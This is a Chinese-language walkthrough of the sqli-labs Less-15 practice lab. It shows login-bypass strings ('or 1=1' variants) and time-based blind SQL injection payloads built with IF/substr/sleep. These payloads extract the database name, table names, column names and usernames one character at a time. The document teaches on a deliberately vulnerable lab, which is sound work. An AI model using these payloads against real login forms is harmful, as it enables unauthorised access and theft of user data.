天天看点

sqli-labs Less-15

Less-15 POST -Blind -Boolian/time Based -Single quotes

0x01.

按F12查看界面代码,获取上传表单的值是为uname和passwd

uname相当于登录框中的username

passwd相当于登陆框中的password

sqli-labs Less-15

任意输入uname 和 passwd , 只返回错误界面,但无任何报错信息

sqli-labs Less-15

构造永真条件使返回忽略用户名和密码不正确这种情况。若将查询语句闭合则会显示登陆成功.

查询语句:

uname=1&passwd=1 or 1=1–+

uname=1&passwd=1’ or 1=1–+

uname=1&passwd=1" or 1=1–+

uname=1&passwd=1’) or 1=1–+

uname=1&passwd=1") or 1=1–+

uname=1&passwd=1’ or 1=1–+

sqli-labs Less-15

返回登陆成功界面,则证明确实存在注入漏洞

0x02.猜测数据库名

尝试使用基于时间的盲注,正确的话就就是直接返回 错误的话就延时五秒

uname=admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))# &passwd=123456&submit=Submit

sqli-labs Less-15

uname=admin’and If(ascii(substr(database(),1,1))=114,1,sleep(5))# &passwd=123456&submit=Submit

sqli-labs Less-15

说明数据库第一位是s(ascii码是115)

…以此类推,得到数据库的名字为security

0x03.猜测security数据库的表名:

uname=admin’and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=100,1,sleep(5))# &passwd=123456&submit=Submit

sqli-labs Less-15

uname=admin’and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))# &passwd=123456&submit=Submit

sqli-labs Less-15
sqli-labs Less-15

说明第一个数据表的第一位是e,依次类推,得到emails

…依次类推,得到所有的数据表 emails,referers,uagents,users

0x04.猜测users表的列名

uname=admin’and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))# &passwd=123456&submit=Submit

…依次类推,得到所有的列名:id,username,paaword

0x05.猜测username的值

uname=admin’ and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))#passwd=123456&submit=Submit

…依次类推,得到所有的用户名